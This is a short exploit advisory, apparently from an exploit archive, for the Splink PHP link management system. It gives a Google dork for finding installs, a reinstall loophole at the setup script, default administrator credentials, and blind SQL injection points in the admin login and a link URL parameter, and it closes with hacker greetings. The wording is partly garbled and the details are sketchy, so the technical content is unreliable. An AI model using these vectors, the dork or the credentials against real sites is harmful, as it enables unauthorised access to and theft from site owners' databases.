Splink SQL injection vulnnerability

##################################################
# Exploit Title: [Splink SQL injection]
# Date: [06-04-2012]
# Author: [Hacker-Fire]
# Category:: [ webapps]
# Google dork: [inurl: Splink]
# Tested on: [Windows 7 ]
##################################################

Script describe: SPlink, the famous Japanese a PHP link management system.
[~] P0c [~] :

1, repeat the installation loopholes

splink/steup/steup1.php

2, the default administrator

username: splink

password: splink123


3, the background login at the existence of post blinds

splink / admin / login.php
4, splink/link.php/catid/20 '/

Here to save the pseudo-static injected

##########################################################
[»] Greetz to :
                     
[ TrOon,Aghilas,r00t_dz,EliteTorjan,Vaga-hacker,xConsole,OverDz ] 
[ & -> Th3 Viper,BriscO-Dz,LaMiN Dk, xV!rus , black hool ]             
[ And all my Freinds + Algerian Hackers ]
       
##########################################################



#  0day.today [2018-04-14]  #